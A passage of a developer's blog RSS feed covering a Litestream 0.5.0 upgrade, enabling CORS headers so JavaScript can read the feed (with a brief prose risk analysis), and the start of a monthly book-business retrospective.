&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">dbs&lt;/span>:&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>- &lt;span style="color:#6ab825;font-weight:bold">path&lt;/span>:&lt;span style="color:#666"> &lt;/span>${DB_PATH}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">replica&lt;/span>:&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">url&lt;/span>:&lt;span style="color:#666"> &lt;/span>s3://${LITESTREAM_BUCKET}/db&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">endpoint&lt;/span>:&lt;span style="color:#666"> &lt;/span>${LITESTREAM_ENDPOINT}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I tried several alternative ways of specifying the Backblaze S3 endpoint, but Litestream rejected them all as configuration errors before even attempting to back up. The configuration I had was the only one that Litestream accepted as valid configuration, but it failed to back up.&lt;/p>
&lt;p>I filed &lt;a href="https://github.com/benbjohnson/litestream/issues/789">Backblaze replica fails with &amp;ldquo;Custom endpoint &amp;hellip; was not a valid URI&amp;rdquo; #789&lt;/a>, and Litestream developer Cory LaNou &lt;a href="https://github.com/benbjohnson/litestream/pull/792">fixed it&lt;/a> the next day.&lt;/p>
&lt;p>Now that I was able to upload data to Backblaze in Litestream&amp;rsquo;s new format, I was unblocked from integrating Litestream 0.5.0 into What Got done.&lt;/p>
&lt;h3 id="-if-replica-exists-disappeared">&lt;code>-if-replica-exists&lt;/code> disappeared&lt;/h3>
&lt;p>I deployed &lt;a href="https://github.com/mtlynch/whatgotdone/pull/982">Litestream 0.5.0 to What Got Done&lt;/a>, but the server failed to boot with this error:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>flag provided but not defined: -if-replica-exists
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I checked the command documentation, and it said that &lt;code>-if-replica-exists&lt;/code> was still supported:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ litestream restore -help | grep &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span>-replica-exists --after-context=&lt;span style="color:#3677a9">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> -if-replica-exists
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Returns &lt;span style="color:#24909d">exit&lt;/span> code of &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> no backups found.
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>It turns out that the flag was &lt;a href="https://github.com/benbjohnson/litestream/issues/774">removed by mistake&lt;/a> and &lt;a href="https://github.com/benbjohnson/litestream/issues/774#issuecomment-3393536299">will be back in 0.5.1&lt;/a>.&lt;/p>
&lt;h3 id="restore-fails-with-transaction-not-available">Restore fails with &lt;code>transaction not available&lt;/code>&lt;/h3>
&lt;p>Undeterred by the loss of &lt;code>-if-replica-exists&lt;/code>, I &lt;a href="https://github.com/mtlynch/whatgotdone/pull/983/files">removed it from my start script&lt;/a>. But then my server failed to start with a new error:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>level=ERROR msg=&amp;#34;failed to run&amp;#34; error=&amp;#34;cannot calc restore plan: transaction not available&amp;#34;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>That turns out to match this open Litestream issue, with an alarming severity of &amp;ldquo;CRITICAL - Complete Data Loss&amp;rdquo;:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://github.com/benbjohnson/litestream/issues/752">CRITICAL: Restore fails with &amp;rsquo;nonsequential page numbers&amp;rsquo; after checkpoint during Litestream downtime #752&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="litestream-no-longer-creates-directories">Litestream no longer creates directories&lt;/h3>
&lt;p>At this point, I was just willing to try anything to get back up and running, so I ran the latest bleeding edge version of Litestream by &lt;a href="https://github.com/mtlynch/whatgotdone/pull/984/files">building it from source in my Docker container&lt;/a>.&lt;/p>
&lt;p>Fortunately, the latest version got around whatever &lt;code>transaction not available&lt;/code> issue I was hitting, and Litestream made it further in the process!&lt;/p>
&lt;p>Unfortunately, there was still one error to overcome:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>level=ERROR msg=&amp;#34;failed to run&amp;#34; error=&amp;#34;create temp database path: open /app/data/store.db.tmp: no such file or directory&amp;#34;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This one was actually simple enough that I had a pretty strong suspicion about what was happening. In previous versions of Litestream, if I told it to restore a SQLite database to &lt;code>/app/data/store.db&lt;/code> and the &lt;code>/app/data&lt;/code> path didn&amp;rsquo;t exist, Litestream would attempt to create it before writing the file.&lt;/p>
&lt;p>I checked the source and saw that the folder creation logic had disappeared in this code flow, but it was simple enough to fix, so I created a fix:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://github.com/benbjohnson/litestream/pull/793">Create parent directory on replica restore #793&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="success">Success!&lt;/h3>
&lt;p>With &lt;a href="https://github.com/mtlynch/whatgotdone/pull/985">my fork of Litestream&lt;/a> with the final &lt;code>mkdir&lt;/code> fix applied, What Got Done was back up and running!&lt;/p>
&lt;h2 id="reflections">Reflections&lt;/h2>
&lt;p>I was able to get Litestream 0.5.x working with a pre-release fork, but I&amp;rsquo;m going to hold off deploying it to my other projects for another release or two. The 0.5.0 changes seem to have been more disruptive than the Litestream folks expected, and they&amp;rsquo;re still struggling with some serious bugs:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://github.com/benbjohnson/litestream/issues/752">CRITICAL: Restore fails with &amp;rsquo;nonsequential page numbers&amp;rsquo; after checkpoint during Litestream downtime #752&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/benbjohnson/litestream/issues/784">Local LTX Level 0 files are never compacted/removed #784&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>And there are several other serious bugs that they&amp;rsquo;ve fixed in the development version but are &lt;del>not yet in a production release&lt;/del> (&lt;strong>Update&lt;/strong>: these are now fixed in &lt;a href="https://github.com/benbjohnson/litestream/releases/tag/v0.5.1">0.5.1&lt;/a>):&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://github.com/benbjohnson/litestream/issues/781">Restore does not update LTX ID information #781&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/benbjohnson/litestream/issues/790">Age encryption configuration silently ignored in v0.5.0+ #790&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/benbjohnson/litestream/issues/771">[Regression] LTX transactions get deleted in 0.5.0, cannot restore more than a few seconds #771&lt;/a>&lt;/li>
&lt;/ul>
&lt;div class="notice notice-info">
 &lt;strong>Note&lt;/strong>: Again, this is not a criticism of Litestream. Streaming replication is hard to do correctly, and what they&amp;rsquo;re doing is way more robust than what I&amp;rsquo;d be able to produce. I&amp;rsquo;m grateful to the Litestream team for responding to bug reports and fixing issues so quickly.
&lt;/div>
</content:encoded></item><item><title>Read My Blog With JavaScript</title><link>https://mtlynch.io/notes/read-my-blog-with-javascript/</link><pubDate>Fri, 10 Oct 2025 00:00:00 +0000</pubDate><guid>https://mtlynch.io/notes/read-my-blog-with-javascript/</guid><description>&lt;p>You can now read my blog with client-side JavaScript. I&amp;rsquo;m not sure why you&amp;rsquo;d want to, but you can.&lt;/p>
&lt;p>Maybe you want to add a blogroll to your site with a list of recent posts from your favorite blogs, but you don&amp;rsquo;t want to fetch them server side. If you wanted to use JavaScript to show my five most recent post titles, you&amp;rsquo;d write some code like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="display:flex;">&lt;span>fetch(&lt;span style="color:#ed9d13">&amp;#34;https://mtlynch.io/index.xml&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> .then((response) =&amp;gt; response.text())
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> .then((str) =&amp;gt; &lt;span style="color:#6ab825;font-weight:bold">new&lt;/span> DOMParser().parseFromString(str, &lt;span style="color:#ed9d13">&amp;#34;application/xml&amp;#34;&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> .then((data) =&amp;gt; {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">const&lt;/span> articles = [...data.querySelectorAll(&lt;span style="color:#ed9d13">&amp;#34;item&amp;#34;&lt;/span>)].map((item) =&amp;gt; ({
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> title: item.querySelector(&lt;span style="color:#ed9d13">&amp;#34;title&amp;#34;&lt;/span>).textContent,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> date: &lt;span style="color:#6ab825;font-weight:bold">new&lt;/span> &lt;span style="color:#24909d">Date&lt;/span>(item.querySelector(&lt;span style="color:#ed9d13">&amp;#34;pubDate&amp;#34;&lt;/span>).textContent),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }));
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic">// Sort articles by date, newest to oldest.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span> articles.sort((a, b) =&amp;gt; b.date - a.date);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic">// Print the titles of the 5 most recent articles.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span> articles.slice(&lt;span style="color:#3677a9">0&lt;/span>, &lt;span style="color:#3677a9">5&lt;/span>).forEach((article) =&amp;gt; console.log(article.title));
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> });
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The above code produces this output:&lt;/p></description><content:encoded>&lt;p>You can now read my blog with client-side JavaScript. I&amp;rsquo;m not sure why you&amp;rsquo;d want to, but you can.&lt;/p>
&lt;p>Maybe you want to add a blogroll to your site with a list of recent posts from your favorite blogs, but you don&amp;rsquo;t want to fetch them server side. If you wanted to use JavaScript to show my five most recent post titles, you&amp;rsquo;d write some code like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="display:flex;">&lt;span>fetch(&lt;span style="color:#ed9d13">&amp;#34;https://mtlynch.io/index.xml&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> .then((response) =&amp;gt; response.text())
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> .then((str) =&amp;gt; &lt;span style="color:#6ab825;font-weight:bold">new&lt;/span> DOMParser().parseFromString(str, &lt;span style="color:#ed9d13">&amp;#34;application/xml&amp;#34;&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> .then((data) =&amp;gt; {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">const&lt;/span> articles = [...data.querySelectorAll(&lt;span style="color:#ed9d13">&amp;#34;item&amp;#34;&lt;/span>)].map((item) =&amp;gt; ({
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> title: item.querySelector(&lt;span style="color:#ed9d13">&amp;#34;title&amp;#34;&lt;/span>).textContent,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> date: &lt;span style="color:#6ab825;font-weight:bold">new&lt;/span> &lt;span style="color:#24909d">Date&lt;/span>(item.querySelector(&lt;span style="color:#ed9d13">&amp;#34;pubDate&amp;#34;&lt;/span>).textContent),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }));
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic">// Sort articles by date, newest to oldest.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span> articles.sort((a, b) =&amp;gt; b.date - a.date);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic">// Print the titles of the 5 most recent articles.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span> articles.slice(&lt;span style="color:#3677a9">0&lt;/span>, &lt;span style="color:#3677a9">5&lt;/span>).forEach((article) =&amp;gt; console.log(article.title));
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> });
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The above code produces this output:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>Refactoring English: Month 10
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Get xkcd Cartoons at 2x Resolution
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>List of 2x-resolution xkcd Cartoons
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>I Once Appeared in The Old New Thing
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Refactoring English: Month 9
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I got the idea from &lt;a href="https://lobste.rs/s/nr9t3s/rss_server_side_reader#c_kzwi8v">a recent comment Simon Willison made on Lobsters&lt;/a>.&lt;/p>
&lt;h2 id="how-do-i-let-javascript-read-my-site">How do I let JavaScript read my site?&lt;/h2>
&lt;p>The only thing I had to change to enable JavaScript access was to set &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CORS">Cross-Origin Resource Sharing (CORS) HTTP headers&lt;/a> for my RSS feeds. Typically, the thing that prevents other sites from reading each other&amp;rsquo;s content with client-side JavaScript is &lt;a href="https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy">same-origin policy&lt;/a>.&lt;/p>
&lt;p>Same-origin policy says that each site (origin) can only read resources associated with its own domain. So, if you visit my blog at mtlynch.io, and I have JavaScript that tries to read your bank balance from chase.com, same-origin policy forbids JavaScript on my page from accessing that information.&lt;/p>
&lt;p>To allow other websites to read my blog through JavaScript, I had to set CORS headers for my blog&amp;rsquo;s RSS feeds. This blog is &lt;a href="https://en.wikipedia.org/wiki/Static_web_page">a static site&lt;/a> that I currently host on Netlify, so I had to change my Netlify configuration file to &lt;a href="https://github.com/mtlynch/mtlynch.io/pull/1505/files">specify CORS headers for my RSS feed URLs&lt;/a>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-toml" data-lang="toml">&lt;span style="display:flex;">&lt;span>[[headers]]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> for = &lt;span style="color:#ed9d13">&amp;#34;/index.xml&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> [headers.values]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Access-Control-Allow-Origin = &lt;span style="color:#ed9d13">&amp;#34;*&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Access-Control-Allow-Methods = &lt;span style="color:#ed9d13">&amp;#34;GET, HEAD, OPTIONS&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Access-Control-Allow-Headers = &lt;span style="color:#ed9d13">&amp;#34;Content-Type&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="what-could-go-wrong">What could go wrong?&lt;/h2>
&lt;p>CORS is a security mechanism, and I&amp;rsquo;m always appropriately hesitant to relax security restrictions on an Internet-facing site. But I spent a while considering the risks, and I don&amp;rsquo;t see any meaningful risk in my situation.&lt;/p>
&lt;h3 id="can-an-attacker-exfiltrate-secret-data">Can an attacker exfiltrate secret data?&lt;/h3>
&lt;p>The purpose of same-origin policy is that if a user has sensitive data on site A, then site B can&amp;rsquo;t access any of it unless site A explicitly gives permission.&lt;/p>
&lt;p>My blog is a static site with no secret information. When I visit mtlynch.io, I see the exact same thing everyone else does. So, even if an attacker convinces me to run malicious JavaScript on a third-party site, the code can&amp;rsquo;t abuse my privileges on my blog because I don&amp;rsquo;t have any special privileges here.&lt;/p>
&lt;p>I do use &lt;a href="https://www.talkyard.io/">TalkYard&lt;/a> for embedded commenting, and I have admin privileges there, but CORS settings for my RSS feeds don&amp;rsquo;t affect TalkYard.&lt;/p>
&lt;h3 id="can-an-attacker-ddos-me">Can an attacker DDoS me?&lt;/h3>
&lt;p>At first, I thought an attacker might abuse CORS settings to launch a DDoS attack against my site. What if the attacker gets millions of people to visit a page that has JavaScript in the background to constantly request my RSS feed?&lt;/p>
&lt;p>Then, I realized such a DDoS attack is already possible. CORS only controls whether a third-party domain can read the results of a request, but it doesn&amp;rsquo;t block the request in the first place. Any domain can make GET and POST requests to any other domain, regardless of CORS settings.&lt;/p>
&lt;h3 id="can-an-attacker-impersonate-my-site">Can an attacker impersonate my site?&lt;/h3>
&lt;p>Another attack I considered is impersonation. A visitor can go to evil.example.com, and the server there could send back JavaScript that reconstructs my blog in the visitor&amp;rsquo;s browser even though the URL bar still says evil.example.com.&lt;/p>
&lt;p>This attack could work, but there are simpler ways to impersonate my blog, regardless of my CORS settings. An impostor can run an HTTP proxy that forwards requests to my blog, which is a simpler way to impersonate my blog. Or, they could just scrape my site and host it somewhere else.&lt;/p>
&lt;h2 id="why-allow-javascript-to-read-my-blog">Why allow JavaScript to read my blog?&lt;/h2>
&lt;p>Nobody asked me to enable CORS for my RSS feeds, so I don&amp;rsquo;t know that it actually benefits anyone. But I enjoy the open web and this is an interesting way to allow other sites to interoperate with mine, so I figured why not?&lt;/p>
&lt;p>If you end up doing anything interesting with my RSS feeds as a result of this change, &lt;a href="https://mtlynch.io/about/">let me know&lt;/a>.&lt;/p></content:encoded></item><item><title>Refactoring English: Month 10</title><link>https://mtlynch.io/retrospectives/2025/10/</link><pubDate>Tue, 07 Oct 2025 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2025/10/</guid><description>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and founder of small, indie tech businesses. I&amp;rsquo;m currently working on a book called &lt;a href="https://refactoringenglish.com">&lt;em>Refactoring English: Effective Writing for Software Developers&lt;/em>&lt;/a>.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my book and my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I&amp;rsquo;m experimenting with low-investment, low-payoff-style blog posts.&lt;/li>
&lt;li>I&amp;rsquo;m adjusting my strategy for freelance editing to work specifically with people who have read my book.&lt;/li>
&lt;li>My intuition was way off about the odds of reaching the front page of Hacker News.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p></description><content:encoded>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and founder of small, indie tech businesses. I&amp;rsquo;m currently working on a book called &lt;a href="https://refactoringenglish.com">&lt;em>Refactoring English: Effective Writing for Software Developers&lt;/em>&lt;/a>.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my book and my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I&amp;rsquo;m experimenting with low-investment, low-payoff-style blog posts.&lt;/li>
&lt;li>I&amp;rsquo;m adjusting my strategy for freelance editing to work specifically with people who have read my book.&lt;/li>
&lt;li>My intuition was way off about the odds of reaching the front page of Hacker News.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="publish-something-that-attracts-new-readers-to-the-refactoring-english-website">Publish something that attracts new readers to the &lt;em>Refactoring English&lt;/em> website&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Published &lt;a href="https://refactoringenglish.com/blog/software-essays-that-shaped-me/">&amp;ldquo;The Software Essays that Shaped Me&amp;rdquo;&lt;/a>, which attracted 16k readers in the first three days&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B+&lt;/li>
&lt;/ul>
&lt;p>I did complete this successfully, but I spent too long on the post and felt somewhat underwhelmed with my final result.&lt;/p>
&lt;h3 id="publish-a-new-chapter-of-refactoring-english">Publish a new chapter of &lt;em>Refactoring English&lt;/em>&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Didn&amp;rsquo;t publish anything new&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: F&lt;/li>
&lt;/ul>
&lt;p>I wrote a first draft of a new chapter but didn&amp;rsquo;t publish it. I ended up spending more time than I planned on &amp;ldquo;The Software Essays that Shaped Me&amp;rdquo; and freelance editing clients.&lt;/p>
&lt;h3 id="write-personalized-emails-to-20-readers-i-havent-spoken-to-before">Write personalized emails to 20 readers I haven&amp;rsquo;t spoken to before&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Emailed two new readers&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: D&lt;/li>
&lt;/ul>
&lt;p>I was going to write this off and say that I&amp;rsquo;m not learning anything new anymore by reaching out to customers. Then, a few days ago, I heard back from a reader I&amp;rsquo;d reached out to who said he used what he learned from my book to get an article on the front page of Hacker News for the first time. So, that was pretty indisputably valuable and tells me I should be doing more of this.&lt;/p>
&lt;p>I brainstorm more about this &lt;a href="#why-do-i-keep-skipping-reader-outreach">below&lt;/a>.&lt;/p>
&lt;h2 id="refactoring-english-metrics">&lt;em>Refactoring English&lt;/em> metrics&lt;/h2>
&lt;div class="project-metrics-chart">
 &lt;canvas
 id="refactoring_english-metrics-chart"
 data-labels="[&amp;#34;Jan 2025&amp;#34;,&amp;#34;Feb 2025&amp;#34;,&amp;#34;Mar 2025&amp;#34;,&amp;#34;Apr 2025&amp;#34;,&amp;#34;May 2025&amp;#34;,&amp;#34;Jun 2025&amp;#34;,&amp;#34;Jul 2025&amp;#34;,&amp;#34;Aug 2025&amp;#34;,&amp;#34;Sep 2025&amp;#34;]"
 data-visitors="[21824,1593,60327,14269,2986,6574,8061,2863,7283]"
 data-revenue="[0,0,0,6469,241.45,887.94,848.29,360.88,962.56]"
 >&lt;/canvas>
&lt;/div>

&lt;script>
(function() {
 const ctx = document.getElementById('refactoring_english-metrics-chart');
 if (!ctx) return;

 const labels = JSON.parse(ctx.dataset.labels);
 const visitorsData = JSON.parse(ctx.dataset.visitors);
 const revenueData = JSON.parse(ctx.dataset.revenue);

 const dollarFormat = new Intl.NumberFormat("en-US", {
 style: "currency",
 currency: "USD",
 minimumFractionDigits: 0,
 maximumFractionDigits: 0,
 });

 const visitorFormat = new Intl.NumberFormat("en-US");

 new Chart(ctx, {
 type: 'line',
 data: {
 labels: labels,
 datasets: [{
 label: 'Unique Visitors',
 data: visitorsData,
 borderColor: '#3b82f6',
 backgroundColor: 'rgba(59, 130, 246, 0.1)',
 yAxisID: 'y-axis-1',
 fill: false,
 lineTension: 0
 }, {
 label: 'Total Revenue',
 data: revenueData,
 borderColor: '#10b981',
 backgroundColor: 'rgba(16, 185, 129, 0.1)',
 yAxisID: 'y-axis-2',
 fill: false,
 lineTension: 0
 }]
 },
 options: {
 responsive: true,
 maintainAspectRatio: false,
 title: {
 display: true,
 text: 'Project Metrics Over Time'
 },
 tooltips: {
 mode: 'index',
 intersect: false,
 callbacks: {
 label: function(tooltipItem, data) {
 const label = data.datasets[tooltipItem.datasetIndex].label || '';
 if (label === 'Unique Visitors') {
 return label + ': ' + visitorFormat.format(tooltipItem.yLabel);
 } else {
 return label + ': ' + dollarFormat.format(tooltipItem.yLabel);
 }
 }
 }
 },
 scales: {
 xAxes: [{
 display: true,
 scaleLabel: {
 display: true,
 labelString: 'Month'
 }
 }],
 yAxes: [{
 id: 'y-axis-1',
 type: 'linear',
 display: true,
 position: 'left',
 scaleLabel: {
 display: true,
 labelString: 'Unique Visitors'
 },
 ticks: {
 callback: function(value) {
 return visitorFormat.format(value);
 }
 }
 }, {
 id: 'y-axis-2',
 type: 'linear',
 display: true,
 position: 'right',
 scaleLabel: {
 display: true,
 labelString: 'Total Revenue'
 },
 gridLines: {
 drawOnChartArea: false,
 },
 ticks: {
 callback: function(value) {
 return dollarFormat.format(value);
 }
 }
 }]
 }
 }
 });
})();
&lt;/script>
&lt;style>
 .project-metrics-chart {
 position: relative;
 margin-bottom: 2rem;
 height: 400px;
 }

 .project-metrics-change-positive {
 color: green;
 }

 .project-metrics-change-negative {
 color: red;
 }
&lt;/style>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>August 2025&lt;/th>
 &lt;th>September 2025&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique visitors&lt;/td>
 &lt;td>2,863&lt;/td>
 &lt;td>7,283&lt;/td>
 &lt;td>&lt;span class="project-metrics-change-positive"
 >&amp;#43;4,420 (&amp;#43;154%)&lt;/span
 >&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Revenue from pre-orders&lt;/td>
 &lt;td>$312.63&lt;/td>
 &lt;td>$484.71&lt;/td>
 &lt;td>&lt;span class="project-metrics-change-positive"
 >&amp;#43;$172.08 (&amp;#43;55%)&lt;/span
 >&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Revenue from consulting&lt;/td>
 &lt;td>$0.00&lt;/td>
 &lt;td>$429.60&lt;/td>
 &lt;td>&lt;span class="project-metrics-change-positive"
 >&amp;#43;$429.60 (&amp;#43;inf%)&lt;/span
 >&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Revenue from sponsors&lt;/td>
 &lt;td>$48.25&lt;/td>
 &lt;td>$48.25&lt;/td>
 &lt;td>$0.00 (0%)&lt;/td>
 &lt;/tr>
 &lt;tr style="font-weight: bold;">
 &lt;td>Total Revenue&lt;/td>
 &lt;td>$360.88&lt;/td>
 &lt;td>$962.56&lt;/td>
 &lt;td>&lt;span class="project-metrics-change-positive"
 >&amp;#43;$601.68 (&amp;#43;167%)&lt;/span
 >&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>

&lt;p>September had a nice bump in website visitors and pre-orders. I&amp;rsquo;d like to get to the point where there&amp;rsquo;s a virtuous cycle of readers referring other readers, but I don&amp;rsquo;t think I&amp;rsquo;m there yet. Still, nice to make almost $1k for the month.&lt;/p>
&lt;h2 id="experimenting-with-bunts">Experimenting with bunts&lt;/h2>
&lt;p>In baseball, a bunt is when you hold the bat in the ball&amp;rsquo;s path rather than swinging the bat. The upside is that you&amp;rsquo;re less likely to miss, but the downside is that you won&amp;rsquo;t hit the ball very far. The best you can hope for with a bunt is making it to first base, but a bunt is almost never going to be a home run.&lt;/p>
&lt;p>Most of my blog posts are &amp;ldquo;swing for the fences&amp;rdquo; posts. I put in a lot of effort because I want to reach #1 on Hacker News, reddit, or search results.&lt;/p>
